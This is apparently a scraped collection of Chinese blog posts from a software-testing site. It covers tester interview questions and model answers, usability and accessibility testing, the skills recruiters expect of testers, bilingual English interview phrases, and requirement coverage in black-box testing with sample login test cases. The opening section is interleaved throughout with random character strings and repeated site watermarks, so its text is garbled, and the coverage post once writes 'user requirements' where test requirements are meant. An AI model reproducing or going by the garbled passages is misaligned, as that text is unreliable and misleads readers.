        为什么抱怨?是怎么样的问题?软件测试专业网站:51Testing软件测试网 Qd#GsB5[
         如果是客服问题,提交客服部门解决
    "l wx:I#\136894    如果是质量问题,分析原因,下一版本改进软件测试专业网站:51Testing软件测试网P FBD${9N&I'zK
    你觉得什么样的人最难相处 软件测试专业网站:51Testing软件测试网8Ee-wq"L2_T"{
         自以为是的人软件测试专业网站:51Testing软件测试网&\6C6M+a,K$qR9t3Nati(k
    什么叫单元测试?
    (b2xq'X6O136894请就软件测试人员应该具备什么样的基本素质说说你的看法。软件测试专业网站:51Testing软件测试网,tHX^7rpu.Y!U
    请就如何在开发中进行软件质量控制说说你的看法
    O9V@:`~B)C f0U&l136894 简述软件测试的意义,以及软件测试的分类

    1、功能测试,性能测试,界面测试,安全测试(可以简单点,比如只涉及到COOKIES里的内容),压力测试(商业性质的网站) 等等,B/S软件也要根据其具体功能采用不同的测试策略。
    sjY"B:sd!Y)A n6N1368942、态度、责任心、自信、敏锐的观察力、良好的发散思维软件测试专业网站:51Testing软件测试网.sz6N^*U${[] D%U5K
    3、先设计后开发模式,加强单元测试,加强代码走查,有一套完整的白盒测试方法。关键是加强开发人员的质量意识,增进程序员向工程师水平发展。软件测试专业网站:51Testing软件测试网 D7L3|jz z6KR
    4、意义嘛,就自己想吧。软件测试的分类,这个很多人都按各种方法去分。无明确答案给你。

    对测试的理解——基本的测试知识,对测试是否认可? 75。软件测试专业网站:51Testing软件测试网[o3G}vo6N
       3、谈一谈过去自己的工作——了解经历、提供进一步提问的素材,表达能力  
    F+dSGCGmB5pB4E136894测试技能 软件测试专业网站:51Testing软件测试网)GD ?7e b*Tbws
    测试设计的方法并举例说明——测试技术的使用 软件测试专业网站:51Testing软件测试网;R]S"dl t+I
    测试工具——熟悉程度,能否与当前工作匹配?
    )A xJ b,E?-\136894如何做计划?如何跟踪计划?——日常工作能力 软件测试专业网站:51Testing软件测试网.p P9snU6|8}0KUaz
    如果开发人员提供的版本不满足测试的条件,如何做?——与开发人员协作的能力
    #fw4N ? O136894熟悉unix系统、oracle数据库吗?——是否具备系统知识 软件测试专业网站:51Testing软件测试网[F:XJ_ s4@Yt
    做过开发吗?写过哪些代码?——开发技能
    mf&M g3Ch6oi136894阅读英语文章,给出理解说明?——部分英语能力 软件测试专业网站:51Testing软件测试网[;VV+|g
    文档的意义——是否善于思考?(最简单的概念,不同层次的理解)
    W0I(}$W&|[p1Mdu136894假如进入我们公司,对我们哪些方面会有帮助?——讲讲自己的特长
    I Ud ? DQ)I5n3vS.o136894随便找一件物品,让其测试——测试的实际操作能力软件测试专业网站:51Testing软件测试网A-DT#ea^ MX
    软件测试的方法有?软件测试专业网站:51Testing软件测试网uH3o V)H np(oW
    软件测试的过程?软件测试专业网站:51Testing软件测试网Q\ y*R&` g
    有一个新的软件,假如你是测试工程师,该如何做?软件测试专业网站:51Testing软件测试网o,qb?M UAJ
    软件测试分哪两种方法?分别适合什么情况? 软件测试专业网站:51Testing软件测试网3] fn6J w]{i-B C
    2。一套完整的测试应该由哪些阶段组成?分别阐述一下各个阶段。 软件测试专业网站:51Testing软件测试网S8Rp"jh)X!Si`6N
    3。软件测试的类型有那些?分别比较这些不同的测试类型的区别与联系。 软件测试专业网站:51Testing软件测试网+B;]6@ ~CX
    4。测试用例通常包括那些内容?着重阐述编制测试用例的具体做法 软件测试专业网站:51Testing软件测试网1cHXJ M
    5。在分别测试winform的C/S结构与测试WEB结构的软件是,应该采取什么样的方法分别测试?他们存在什么样的区别与联系? 软件测试专业网站:51Testing软件测试网Q}R;t1\E
    6。在测试winform的C/S结构软件时,发现这个软件的运行速度很慢,您会认为是什么原因?您会采取哪些方法去检查这个原因?
    .\eCyC_ S1368947。描述使用bugzilla缺陷管理工具对软件缺陷(BUG)跟踪的管理的流程 软件测试专业网站:51Testing软件测试网2Y#PEi @.F:W
    你在五年内的个人目标和职业目标分别是什么?
    Q#b.fWL136894  分析这个问题是用来了解你的计划能力的,通过这个问题,面试人同时还可以知道你的目标是否符合企业对你的安排。软件测试专业网站:51Testing软件测试网na\.}r&gb4K
      错误回答我想在将来的某个时候考虑这个问题。如今企业的领导者更换频繁,我认为做太多的个人计划是荒谬可笑的,不是吗?
    (y Om&zU'S;j136894  评论这种回答属于令人反感的一类。首先,当有人想了解你的目标时,"将来的某个时候"这种通俗说法并不奏效。其次,认为企业很脆弱,领导者更换频繁,这种说法毫无疑问会令人反感,而且也是不合理的。最后,认为做计划可笑,看不起这个问题,而且反问面试人,这些都注定了这样的求职者最终会失败。软件测试专业网站:51Testing软件测试网4m(I.Oq BJ*u3^ pB3Im
      正确回答从现在起的五年之内,我希望能够在一个很好的职位上待几年,而且最好有一次晋升,然后就期待着下一步。不管是向上提升,还是在企业内横向调动,对我个人来说,我希望找到一家企业——一家愿意做相互投入的企业——待上一段时间。软件测试专业网站:51Testing软件测试网"D1kfjSnbz&I/BL3^%W
      评论这个问题没有回答得过分具体(那样可能会产生漏洞),而且它表明你有雄心,并且思考过在企业中的成长方式。通过表达横向调动和向上提升的愿望,表明你是一个有灵活性的人。
    C%]M IE136894 问题23 你怎样做出自己的职业选择?软件测试专业网站:51Testing软件测试网)A9\+g6q)Y)?D0E
      分析 面试人提出这个问题是为了了解求职者的动机,看看他(她)应聘这份工作是否有什么历史渊源,是否有职业规划,是不是仅仅在漫无目的地申请很多工作。软件测试专业网站:51Testing软件测试网 d:S&]!I,~` z
      错误回答 我一直都想在企业界工作。自孩提时代起,我就梦想自己至少也要成为大企业的副总裁。
    5\MVP2Pt(`136894  评论 除了难以令人相信之外,这种回答还存在一个问题:它表明求职者会对副总裁以下的职位不感兴趣。
    &?F5Y^y!SJ)[136894  正确回答 在上大学四年级前的那个夏天,我决定集中精力在某一领域谋求发展。尽管我是学商业的,但是我不知道自己最终会从事哪一行业的工作。我花了一定的时间考虑自己的目标,想清楚了自己擅长做的事情以及想从工作中得到的东西,最后我得出了一个坚定的结论,那就是这个行业是最适合我的。软件测试专业网站:51Testing软件测试网L'b@!B&G5N*Su
      评论 这种回答表明,求职者认真地做过一些计划,缩小了自己的关注点,而且也认准了前进的方向。这种回答还表明,求职者理解个人职业规划的重要性,并且有能力做出认真的个人决策。
    -z5g*y|E#}1368941. 你都用什么测试方法
    C'i]QpO!F1368942.怎么编写案例
    Ct+b2v7c1368943.怎么才能够全面的测试到每一个点
    Q5i#} b#yT1368941. 你都用什么测试方法软件测试专业网站:51Testing软件测试网B.@O[S,c
    针对不同的产品或者系统或者模块,有不同的测试方法。总体而言有白盒测试和黑盒测试。
    s.j"i7Wm#Hb1368942.怎么编写案例软件测试专业网站:51Testing软件测试网@,]}5Nw [;e{
    案例的编写与测试阶段的定义有很大的关系。系统测试和unit测试的案例可能不同。总体而言测试案例根据系统的需求而定。
    u:B z!|%h1368943.怎么才能够全面的测试到每一个点
    qa @'g3^4x*L|136894测试的全面性主要需要在设计测试计划的时候考虑,从测试策略,产品需求等等多个角度考虑从而定义全部的测试点。
    q8cY6LX!]W1368941、谈谈软件测试技术,以及如何提高软件测试专业网站:51Testing软件测试网7~:[M6Yn2u
    2、谈谈软件测试职业发展,以及个人的打算
    nQL,O!B+o1368943、谈谈软件测试在企业的地位,也可以结合软件生命周期来谈软件测试专业网站:51Testing软件测试网9A? Hm7z U6i
    有可能清晰的思路比确切的答案更重要软件测试专业网站:51Testing软件测试网F bEfv3v-j%B
    在这里,主要说下笔试和面试的问题,希望大家共同参考。软件测试专业网站:51Testing软件测试网g$y7l6X-Gq
        1,一般公司里实际的软件测试流程是什么样的?你们公司又是怎样的?
    pm6j j iR Z136894    2,软件工程师要具有那些素质?
    4E5Xz)H@y&?~:Y136894    3,你会哪些测试工具?怎么操作?软件测试专业网站:51Testing软件测试网.B3Oj]0dQ8Q
        4,你能不能说下你的3到5年的职业计划(规划)软件测试专业网站:51Testing软件测试网G(MeA}?J{
        5,你觉得你来应聘有那些优势?软件测试专业网站:51Testing软件测试网3`{9N-a+{p0|{7gC
    其余的还好说,但就第4个问题,我感到不好说哦!希望大家给个意见软件测试专业网站:51Testing软件测试网-ug6p)nJ
    第一关:首先要自我介绍,自己的性格怎么样,目前的工作经历积累了一些什么经验取得了些什么值得一说的成果。然后要说说对软件测试怎么看?还有对于软件测试有什么自己的想法。为什么会想到要做这行(因为我的简历上的工作经历没有关于测试方面的)。哦,还有期望薪资。
    ~utD5kH136894第二关:认为软件测试人员所要具备的基本素质,如果遇到问题会怎样处理,如果得不到研发人员的配合(就是研发说这个不是问题)你又会怎么处理?然后就是一些基本概念,比如软件测试的流程有哪些?如果我上任了,首先会怎么开始自己的工作计划。
    b | f4D w2f-W136894(前两关通过了后面这个就好过多了)软件测试专业网站:51Testing软件测试网}U2H GCyXw
    第三关:像我介绍了一下公司的情况,告诉我主要针对什么内容的测试,会不会使用数据库。告诉我大概要做哪些内容,详细的可以上岗以后慢慢熟悉。
    Y+KJ-r9X/k(hR0S136894大概就这么多了,这对没有经过这一关的不知道有没有帮助,仅供参考吧
    %])Yr7?#`c"NC136894我觉得就像李波说的,关键是要给对方留下好印象:)

    面试官最后会问你有什么问题要问吗。作为应聘者的你一般不要说没问题问,这会给面试官留下你不太重视这份工作的坏印象。所以如果你想得到这份工作的话应该抓住这最后的表现自己的机会:
    al'h0Dq1P{)Y136894你可以问:
    8?0R*lub4j$d4fN.y1368941.        贵公司近期和远期的发展目标是什么?软件测试专业网站:51Testing软件测试网sX`2h@uRt9t0m9]
    2.        贵公司的主要竞争对手有哪些?
    "P Fo*^[r1368943.        贵公司有多少开发人员有多少测试人员?
    ;u.S3C SVFvV1368944.        贵公司又进一步扩充测试人员的计划吗?
    k3_%D7j-N;qEb#hC1368945.        如果我有幸能进入贵公司的话,我有怎么样的发展?软件测试专业网站:51Testing软件测试网E8W[ j}u8QH
    6.        测试人员的沟通能力很重要,贵公司有规范的沟通渠道吗?软件测试专业网站:51Testing软件测试网eiT:{ i o0G$izp
    7.        请介绍一下贵公司的福利情况。
    0L G@:h$qQ&Xs1368948.        请问我什么时候能知道结果?

  • [转]《软件测试》第十一章 - 可用性测试

    小狐狸如如 发布于 2008-05-22 17:05:27

    Usability Testing - 可用性测试

    UI Testing - 用户界面测试。UI这个词其实范围很宽。什么样的东西是UI呢?VISTA那样炫的是UI,DOS窗口也是UI。以前古老电脑上的LED也是UI的一部份,其实一句话,UI就是用户跟计算机交互的界面。什么样是一个好的用户界面?书上归纳了7点。

    Follows Standards and Guidelines - 遵循标准和指引。这两个东西在书上都出现了好多次了,呵呵,反正就是说标新立异的东西都是有风险的,因为标准已经是被前人证明是好的,至少是合理的嘛~所以遵守这些标准来做出来的东西一般来说会有一个好的UI。大家发现没有,WINDOWS跟LINUX的UI规范是不同的,WINDOWS里面,左边的是OK,Cancle在OK的右边,而linux里面就是相反的:)

    Intuitive - 直观。什么是直观,如果你看到的这些文字他不是文字,而是0100010010101001010,你吐血不?不过这只是一个极端的例子。一个好的UI就是让用软件的人根本就感觉不到UI的存在~UI要求是简洁的而且布局是合理的,没有不必要的功能的。这里我觉得还是去看看竞争对手的产品,就知道我们需要有什么改进了:)

    Consistent - 一致性。例如一个软件把复制的快捷键定义为CTRL+X,剪切的快捷键是CTRL+V……那么估计用户鼻子都气歪了吧。创造性是好的,不过有些时候还是循规蹈矩比较好。

    Flexible - 灵活。就好像计算器的例子,WINDOWS的计算器有2种模式,可以给用户选择,不过这种灵活性是有代价的,就是投入更加多的人力物力。

    Comfortable - 舒适。通俗点说就是这个软件用的爽不爽。正所谓人要有人样,一个财务软件不应该出现很多卡通的配图吧~然后就是错误处理,软件很难避免错误,这时候需要处理这些错误,那么就需要好好处理这些错误提示哦。然后就是性能,慢成马的软件谁用啊。

    Correct - 正确性。保证软件里面的内容,功能是没有错误的。例如不要有拼写错误。还有是否有一些功能,是我们的软件产品所没有但是却又是在这个市场是有需求的呢?(这个要求有点高了吧?)

    Useful - 可用性。一个软件是不是有用通常都是由客户说了算,不过这里存在一个问题,是不是某些功能对于我们的软件来说是没有用的呢?这个我觉得也是很难做到测试,这些通常都是产品经理负责。

    另一个大的主题就是 - Accessibility Testing 易访问性。这个通常都是针对残疾人的。当中有几个,例如视力上有缺陷的人,听觉有阻碍的人,行动不便的人等……然后我发现,对于这些,在美国是有法律来保障残疾人的权益的,看来还是人家的法律够健全啊!

  • 软件测试工程师的招聘体会

    larryyang 发布于 2008-05-23 13:00:31

      首先说说要做个软件测试工程师,需要了解的方方面面,也可以说是一个职业要求汇总吧。

    基本常识类

      1.  计算机基础知识

      2.  计算机网络基础知识

      3.  软件测试基本知识(软件质量,软件质量管理基础知识,软件测试概念,软件测试标准,软件测试技术及方法,软件测试项目管理)

      4.  软件开发基本知识(软件工程知识,理解软件开发方法及过程)

    技术类

      1.  程序语言

      C/C++,VB,VC,Java,.net,ASP,javas cript等。具体要求要视公司的具体项目或产品来定。但一般以C为基本要求。

      2.  数据库知识

      SQL Server,Oracle,Mysql,Sybase等。一般对测试人员的要求就是要求会使用,然后熟练使用SQL语句进行查询,修改,添加,删除数据操作。

      3.  操作系统

      Windows,Linux(常用的RedHat,SUSE,Debian)/Unix(FreeBSD,Solaris,HP-UX,AIX,Mac)系统。

      自动化测试工具类

      1.  自动化测试概念/自动化测试框架

      好多人觉得自动化测试就是使用自动化测试工具,其实各种工具只是自动化测试实施的一个有效利器,如何建立一个脱离工具的自动化测试框架远远比研究如何使用测试工具复杂,困难的多。

    2.  自动化测试流程

    3.  自动化测试工具的使用

      自动化测试框架(流程)

      GUI的功能测试自动化

      非GUI的功能测试自动化

      性能测试(广义的和狭义的性能测试)

      自动化测试工具(功能测试工具,性能测试工具,缺陷管理工具,测试管理工具)

      (HP)Mercury Interactive QuickTest Pro,WinRunnerLoadRunner,Quality Center(Test Director),SiteScope

      Compuware QACenter(TestPartner QARun QALoad QADirector TrackRecord),DevPartner studio

      (IBM)Rational TestSuite(Robot TestManager FunctionalTester PerformeranceTester ClearQuest ClearCase ...)

      (Borland)Segue SilkTest SilkPerformer SCTestManager

      其它:JUnit,NUnit,Auto It,Test Architect,OpenSTA等

    实战类(工作经验)

      1.  公司的测试流程

      2.  公司的具体缺陷管理流程(提交bug报告,追踪bug状态)

      3.  测试环境的搭建及管理

      4.  测试计划,测试用例,测试报告等相关文档的编写

    语言类

      1.  英语

      2.  日语

      3.  。。。

    性格类

      通过30分钟至1个小时的面试,试着了解面试者的性格是否适合软件测试的工作。

      1.  细心,关注细节

      2.  耐心,不怕麻烦

      3.  良好的沟通能力

      4.  优秀的学习能力,逻辑思维强

      5.  工作积极主动

      6.  上进性强,永远不满足现状


  • 英语面试相关

    zhangtieing 发布于 2007-04-23 00:14:30

    Prologue开场白

    It is a great pleasure for me to have this opportunity for the interview.

    我能有机会来参加面试感到非常荣幸。

    I am very happy that I am qualified for this interview.

    我非常高兴能获得这个面谈机会。

     

    1Educational Background

     How about your academic records at college?

    你大学的成绩如何?

     I have been doing quite well at college.

    我在大学时学习很好。

    My specialization at the university is just in line with the areas your institute deals with.

    我在大学所学的专业和你们研究所所涉及的范围刚好对口。

    I was one of the top students in the class.

    我是班里最优秀的学生之一。

     

    Key Word:

    major 主修课;主修的;主修  minor in 辅修 

    degree 学位  bachelor 文理学士

    a bachelor’s/ master’s /doctor’s degree

        学士学位、硕士学位、博士学位 

    honor 荣誉   award 奖励    scholarship 奖学金 

    注意几个关键的词语:degree(学位)、subject(科目)、department(系)、Bachelor’s degree(学士学位)、major(主修)、minor(辅修)。

     

     Which course did you like best? 你最喜欢哪门课程?

     在回答提问时要注意投其所好, 这时你最好回答和所应聘公司相关的科目,这会让他留下你很有潜力的印象。

     

    How have you been getting on with your studies so far

    A:  I have been doing quite well at college. According to the academic records I have achieved so far, I am confident that I will get my Bachelor of Computer Science and Technology this coming July.

     

    2 .Work experience 

    Key Words:

    个人发展(development)、机会(opportunitychance)、工作环境(working environmentposition   职位、responsibility 责任,职责

    be qualified for  适于担任    apply for  申请   advancement  提升,晋升 

    convenient  方便的   professional  专业的  

    background 背景      intern          实习生

    1.        Have you got any experience in programming?

    你有编程方面的经验吗?

    Yes, sir. I have been a software engineer in an software company.

    是的,先生,我一直在一家软件公司担任工程师工作。

    Although I have no experience in this field, I'm willing to learn.

    虽然在这方面我没有经验,但是我愿意学习

     

    2 . Thank you for your interest in this position. Why do you consider yourself qualified for this job?

    谢谢你对本公司的兴趣,为何你认为自己符合这职位的资格?

    My educational background and professional experience make me qualified for the job.

    我的教育背景和工作经验使我能够胜任这项工作。

     

    3. What‘s your career objective?

    你的事业目标是什么?

    I hope I could be a project manager of an energetic and aggressive team.

    我希望成为一支有活力、有进取心的队伍的项目经理。

     

    4. Why do you want to apply for a position in our company?你为什么想申请来我们公司?

    Because I think my major is suitable for this position.

    因为我认为我的专业适合这个职位。

        Because your operations are global, so I feel I can gain the most from working in this kind of environment.

    因为你们公司的运作是全球化的, 我觉得在这样一个环境中工作会收获最多。

     

    5. I:  Why do you think you are qualified for this position?

    为什么你认为你能胜任我们公司这个职位呢?

    A:   My educational background and professional experience make me qualified for the job. Besides, I am a team player and have great interpersonal skills.

    我的教育背景和工作经验使我能够胜任这项工作。而且我具有团队精神和出色的人际关系技能。

     

    6. I:  How would you describe your ideal job?

    A:  I think the job should make use of the professional experience I have obtained, and offer me opportunity for advancement.

    I: 你理想的工作是什么样的?

    A: 我认为应该能发挥我掌握的专业知识,而且能为我提供升职的机会

     

    Character and hobby

    Key  Words :

     

    open-minded 开明的,开放的  easy-going  容易相处的

    personality  个性,人格  enthusiastic  充满热情的

    leisure 空闲的,闲暇的  hobby  业余爱好

    优点 strong pointsstrengthsmerits

    缺点 shortcomingsweaknesses

    性格 character, personality

     

    1. What kind of character do you think you have?

       你认为自己是什么性格的人?

    I'm quite active and energetic. I approach things enthusiastically and I don't like leaving things half done.我积极而充满活力。我热诚对待每件事,不喜欢半途而废。

     

    2. What kind of person would you like to work with? 你喜欢和什么样的人一起工作呢?

    I like to work with people who are honest, dedicate to their work and have integrity.
    我喜欢和诚实、对工作投入、为人正直的人一起工作。

     

    1. Are you introverted or extroverted?

       你内向还是外向?

    I wouldn't call myself introverted though sometimes I'm reserved and enjoy staying all by myself, often and often I like sharing activities with others.

    我不算内向,尽管有时我沉默寡言,喜欢独处,但我经常和大家在一起活动。

     

    4. What kind of sports do you like most?

    你最喜欢什么运动?

    Football is a very exciting game because it keeps you alert and I also enjoy the team spirit of football.

    足球是一项极刺激的运动,它会使你保持灵敏,我也喜欢足球活动中的团队精神。

     

    5 What are your hobbies? How do you spend your spare time?

    你的业余爱好是什么?你的业余时间怎么度过?

    I have many hobbies. I like almost all kinds of sports and I also like to listen to classical music.
    我有很多爱好。我喜欢几乎各类运动,也喜欢听古典音乐。

     

    6 How do you get along with others?

    你和别人相处得怎样?

    I get on well with others.

    我和别人相处得很好。

     

    7. What are your weak points?

    你的缺点是什么?sometimes , I continually strive after perfection to do somethings.

    When I think something is right, I will stick to that. Sometimes it sounds a little stubborn but I am now trying to find a balance between insistence and compromise.

    若我认为某件事情是对的,我会坚持到底。有时候,这显得有点顽固,因此我正努力在执着与妥协之间寻求平衡。

    8. I:  What kind of character do you think you have?

    A:  Generally speakingl am an open-minded person.

    I:  What is your strongest trait

    A:  Cheerfulness and friendliness.

     

    9 .Were you involved in any club activities at your university?

    你在大学有没有参加过什么社团活动?

    Yes, I was on the chairman of college student union.

    有,我曾担任学生会主席。

    Yes ,I was a monitor of my class.

    有,我担任班长一职。

     

    Do you have any question? 你还有什么问题吗?

    外企的这个问题看上去可有可无,其实很关键,外企不喜欢说“没有问题”的人,因为其很注重员工的个性和创新能力。外企不喜欢求职者问个人福利之类的问题,如果有人这样问:贵公司对新入公司的员工有没有什么培训项目,我可以参加吗?或者说贵公司的晋升机制是什么样的?外企将很欢迎,因为体现出你对学习的热情和对公司的忠诚度以及你的上进心。

  • 面试中常用的英语对话

    ainux 发布于 2008-05-10 11:17:37

    Q: Can you sell yourself in two minutes? Go for it. (你能在两分钟內自我推荐吗?大胆试试吧!)

    A: With my qualifications and experience, I feel I am hardworking,responsible and diligent in any project I undertake. Your organization could benefit from my analytical and interpersonal skills.(依我的资格和经验,我觉得我对所从事的每一个项目都很努力、负责、勤勉。我的分析能力和与人相处的技巧,对贵单位必有价值。)

    Q:Give me a summary of your current job descrīption. (对你目前的工作,能否做个概括的说明。)

    A:I have been working as a computer programmer for five years. To be specific, I do system analysis, trouble shooting and provide software support. (我干了五年的电脑程序员。具体地说,我做系统分析,解决问题以及软件供应方面的支持。)

    Q:Why did you leave your last job?(你为什么离职呢?)

    A: Well, I am hoping to get an offer of a better position. If opportunity knocks, I will take it.(我希望能获得一份更好的工作,如果机会来临,我会抓住。)

    A:I feel I have reached the "glass ceiling" in my current job. / I feelthere is no opportunity for advancement. (我觉得目前的工作,已经达到顶峰,即沒有升迁机会。)

    Q:How do you rate yourself as a professional?(你如何评估自己是位专业人员呢?)

    A: With my strong academic background, I am capable and competent. (凭借我良好的学术背景,我可以胜任自己的工作,而且我认为自己很有竞争力。)

    A:With my teaching experience, I am confident that I can relate to students very well. (依我的教学经验,我相信能与学生相处的很好。)

    Q: What contribution did you make to your current (previous) organization?

    (你对目前/从前的工作单位有何贡献?)

    A: I have finished three new projects, and I am sure I can apply myexperience to this position. (我已经完成三个新项目,我相信我能将我的经验用在这份工作上。)

    Q:What do you think you are worth to us?(你怎么认为你对我们有价值呢?)

    A:I feel I can make some positive contributions to your company in thefuture. (我觉得我对贵公司能做些积极性的贡献。)

    Q:What make you think you would be a success in this position? (你如何知道你能胜任这份工作?)

    A:My graduate school training combined with my internship should qualify mefor this particular job. I am sure I will be successful. (我在研究所的训练,加上实习工作,使我适合这份工作。我相信我能成功。)

    Q:Are you a multi-tasked individual?(你是一位可以同时承担数项工作的人吗?)orDo you work well under stress or pressure?(你能承受工作上的压力吗?)

    A:Yes, I think so.

    A:The trait is needed in my current(or previous) position and I know I canhandle it well. (这种特点就是我目前(先前)工作所需要的,我知道我能应付自如。)

    Q:What is your strongest trait(s)?(你个性上最大的特点是什么?)

    A:Helpfulness and caring.(乐于助人和关心他人。)

    A:Adaptability and sense of humor.(适应能力和幽默感。)

    A:Cheerfulness and friendliness.(乐观和友爱。)

    Q: How would your friends or colleagues describe you?(你的朋友或同事怎样形容你?)

    A: (pause a few seconds) (稍等几秒钟再答,表示慎重考虑。)

    They say Mr. Chen is an honest, hardworking and responsible man who deeply cares for his family and friends. (他们说陈先生是位诚实、工作努力,负责任的人,他对家庭和朋友都很关心。)

    A:They say Mr. Chen is a friendly, sensitive, caring and determined person.(他们说陈先生是位很友好、敏感、关心他人和有决心的人。)

    Q:What personality traits do you admire?(你欣赏哪种性格的人?)

    A: (I admire a person who is)honest, flexible and easy-going. (诚实、不死板而且容易相处的人。)

    A: (I like) people who possess the "can do" spirit. (有"实际行动"的人。)

    Q:What leadership qualities did you develop as an administrative personnel?(作为行政人员,你有什么样的领导才能?)

    A:I feel that learning how to motivate people and to work together as a team will be the major goal of my leadership. (我觉得学习如何把人们的积极性调动起来,以及如何配合协同的团队精神,是我行政工作的主要目标。)

    A:I have refined my management style by using an open-door policy. (我以开放式的政策,改进我的行政管理方式。)

    Q:How do you normally handle criticism?(你通常如何处理別人的批评?)

    A:Silence is golden. Just don’t say anything; otherwise the situation could become worse. I do, however, accept constructive criticism. (沈默是金。不必说什么,否则情况更糟,不过我会接受建设性的批评。)

    A:When we cool off, we will discuss it later. (我会等大家冷靜下来再讨论。)

    Q: What do you find frustrating in a work situation?(在工作中,什么事令你不高兴?)

    A: Sometimes, the narrow-minded people make me frustrated. (胸襟狭窄的人,有时使我泄气。)

    A:Minds that are not receptive to new ideas. (不能接受新思想的那些取。)

    Q:How do you handle your conflict with your colleagues in your work? (你如何处理与同事在工作中的意见不和?)

    A:I will try to present my ideas in a more clear and civilized manner in order to get my points across. (我要以更清楚文明的方式,提出我的看法,使对方了解我的观点。)

    Q:How do you handle your failure?(你怎样对待自己的失敗?)

    A: None of us was born "perfect". I am sure I will be given a second chance to correct my mistake. (我们大家生来都不是十全十美的,我相信我有第二个机会改正我的错误。)

    Q:What provide you with a sense of accomplishment. (什么会让你有成就感?)

    A:Doing my best job for your company. (为贵公司竭力效劳。)

    A:Finishing a project to the best of my ability. (尽我所能,完成一个项目。)

    Q:If you had a lot of money to donate, where would you donate it to?Why?

    (假如你有很多钱可以捐赠,你会捐给什么单位?为什么?)

    A:I would donate it to the medical research because I want to do something to help others. (我会捐给医药研究,因为我要为他人做点事。)

    A:I prefer to donate it to educational institutions. (我乐意捐给教育机构。)

    Q:What is most important in your life right now?(眼下你生活中最重要的是什么?)

    A:To get a job in my field is most important to me. (对我来说,能在这个领域找到工作是最重要的。)

    A:To secure employment hopefully with your company. (希望能在贵公司任职对我说最重要。)

    Q:What current issues concern you the most?(目前什么事是你最关心的?)

    A:The general state of our economy and the impact of China’ entry to WTO onour industry. (目前中国经济的总体情況以及中国入世对我们行业的影响。)

    Q: How long would you like to stay with this company?(你会在本公司服务多久呢?)

    A: I will stay as long as I can continue to learn and to grow in my field.

    (只要我能在我的行业力继续学习和长进,我就会留在这里。)

    Q:Could you project what you would like to be doing five years from now?

    (你能预料五年后你会做什么吗?)

    A:As I have some administrative experience in my last job, I may use myorganizational and planning skills in the future.

    (我在上一个工作中积累了一些行政经验,我将来也许要运用我组织和计划上的经验和技巧。)

    A:I hope to demonstrate my ability and talents in my field adequately. (我希望能充分展示我在这个行业的能力和智慧。)

    A:Perhaps, an opportunity at a management position would be exciting.(也许有机会,我将会从事管理工作。)

    如果不愿正面回答,也可以说:It would be premature for me to predict this. (现在对此问题的预测,尚嫌过早。)

    甚至还可以打趣的说:Hypothetically speaking, I might be able to do your current job as adirector.(或 CEO 或 president)((说不定,我也能做你现在主任的工作呢!)

    Q: What range of pay-scale are you interested in?(你喜欢那一种薪水层次标准?)

    A: Money is important, but the responsibility that goes along with this jobis what interests me the most. (薪水固然重要,但这工作伴随而来的责任更吸引我。)

    A: 假如你有家眷,可以说:

    To be frank and open with you, I like this job, but I have a family to support. (坦白地说,我喜欢这份工作,不过我必须要负担我的家庭。)

    Other Tips (其它建议)

    Know something about the organization you are applying to. (了解一些你申请工作单位的情况)

    Dress properly. Don’t shake hand with the interviewer until he/she extendshis/her hand. (穿着要得体,人家伸手时才握手。)

    Don’t sit down until invited to do so by the interviewer. (人家未请,先別坐下。)

    Make eye-contact with the interviewer during the interview. (面试时,眼睛要看着对方。)

    Listen actively and stay calm. (注意听,保持冷静。)

    If invited to a meal, be especially careful about your table manners. (被邀吃饭时,要特別注意餐桌礼节。)

    Don’t talk with your mouth full. (嘴里有食物,不可开口说话)

    Don’t make much noise while you eat. (吃东西不要出声音)

    Don’t blow your nose or use the toothpick at table. (不要拧鼻涕或用牙签剔牙)

    Don’t appear to be pushy or overly anxious to get a job.(不必过分表现急着要工作)

    Be honest but not too modest.(要诚实,但不必太谦虚)

    Don’t put yourself down or cut yourself up. (不可妄自菲薄或自贬)

    Try to avoid discussing politics or religion with your interviewer. (避免与面试人谈政治或宗教)

  • 我答“黑盒测试如何保证需求的覆盖度?”

    huior 发布于 2008-02-26 16:18:04

    51testing最新的一个问题,黑盒测试如何保证需求的覆盖度?

    http://bbs.51testing.com/thread-106504-1-1.html

    下面说说我的看法。

    黑盒测试如何保证需求的覆盖度?首先我们要明确这里提到的需求到底是什么。在软件开发活动中,涉及到的需求有用户需求、系统需求、测试需求等。

    用户需求:描述了用户使用产品必须要完成的任务,在软件开发活动中,属于最基本的需求。

    系统需求:描述了软件设计人员、编程人员必须要完成的任务。系统分析员通过分析用户需求,把用户的需求转变成开发设计人员看得懂的系统需求。

    测试需求:描述了软件测试人员必须要完成的任务。资深测试工程师通过分析系统需求,产生测试需求,作为测试活动的指导。

            写到这里,我猜想命题人的本意应该指的是上面提到的系统需求,但我的观点认为,黑盒测试应该保证的是测试需求的覆盖度,系统需求的覆盖度应该由测试需求保证。

    具体到这个题目来讲,只要涉及到度量,都会要求规范。要度量需求,首先就必须保证需求本身是可度量的,这就要求需求必须明确、规范。

    用户需求由最终用户提出,通常比较笼统,例如用户可能会这样描述其需求,

    UR1 “能够上网缴电话费”

    系统分析员的工作就是分析用户需求,把用户的需求转换成开发设计人员能够理解的系统需求。系统需求从技术层面上对用户需求进行分析,把用户的需求分解成若干个功能点,例如

    SR1 登录缴费系统

       要求加密传输,密码不少于6位等

    SR2 输入电话号码

       要求验证号码的正确性

    SR3 查询特定的电话费

       查询结果中要包含各类明细

    SR4 缴费

       连接网上银行页面,要根据不同商业银行的网银,做不同的判断;

       缴费结果一定要明确显示

    … …

    在测试小组参与后,资深测试工程师要根据系统需求,编写相应的用户需求。用户需求一定要保证对系统需求的100%覆盖,即系统需求的所有功能点在用户需求中必须有所反映。例如

    TR1-1 登录成功

    TR1-2 登录失败

    ……

    上述的TR1-1到TR1-2都对应于系统需求的SR1(功能点)。

    测试工程师要编写测试用例,依据是测试需求,测试用例要保证对测试需求的100%覆盖,即测试需求的所有检查点在测试用例中必须有所提现。例如

    TCF1-1-1

    输入用户名huior,对应的密码987654,以及验证码

    预期结果:用户正确登录缴费系统,进入欢迎界面

    TCF1-2-1

    输入不存在的用户名huior_error,密码123456,以及验证码

    预期结果:提示“用户名不存在”的错误,返回登录界面

    TCF1-2-2

    输入正确的用户名huior,密码 123456,以及验证码

    预期结果:提示“密码错误”,返回登录界面

    TCF1-2-3

    输入正确的用户名huior,密码 987654,以及错误的验证码

    预期结果:提示“验证码错误”,返回登录界面

    … …

     测试员在执行测试用例的过程中,会发现BUG,BUG可以和测试用例对应。这样的话,软件开发的各个过程都可以对应起来。

